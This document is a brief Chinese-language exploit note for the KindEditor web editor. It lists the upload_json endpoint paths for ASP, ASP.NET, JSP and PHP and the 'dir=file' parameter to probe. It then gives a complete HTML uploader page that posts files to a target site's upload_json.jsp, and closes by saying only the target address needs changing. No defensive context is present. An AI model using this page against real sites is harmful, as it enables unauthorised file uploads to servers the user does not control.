/asp/upload_json.asp /asp.net/upload_json.ashx /jsp/upload_json.jsp /php/upload_json.php如访问存在该文件,查看对应关键参数是否可用,即:
kindeditor/asp/upload_json.asp?dir=file kindeditor/asp.net/upload_json.ashx?dir=file kindeditor/jsp/upload_json.jsp?dir=file kindeditor/php/upload_json.php?dir=file
如参数可用,自行构造上传页面进行上传。页面代码如下:
<html><head>
<title>Uploader</title>
<script src="http://www.xxx.org/kindeditor//kindeditor.js"></script>
<script>
KindEditor.ready(function(K) {
var uploadbutton = K.uploadbutton({
button : K('#uploadButton')[0],
fieldName : 'imgFile',
url : 'http://www.xxx.org/kindeditor/jsp/upload_json.jsp?dir=file',
afterUpload : function(data) {
if (data.error === 0) {
var url = K.formatUrl(data.url, 'absolute');
K('#url').val(url);}
},
});
uploadbutton.fileBox.change(function(e) {
uploadbutton.submit();
});
});
</script></head><body>
<div class="upload">
<input class="ke-input-text" type="text" id="url" value="" readonly="readonly" />
<input type="button" id="uploadButton" value="Upload" />
</div>
</body>
</html>
注意:构造页面只需修改对应的目标关键字地址即可使用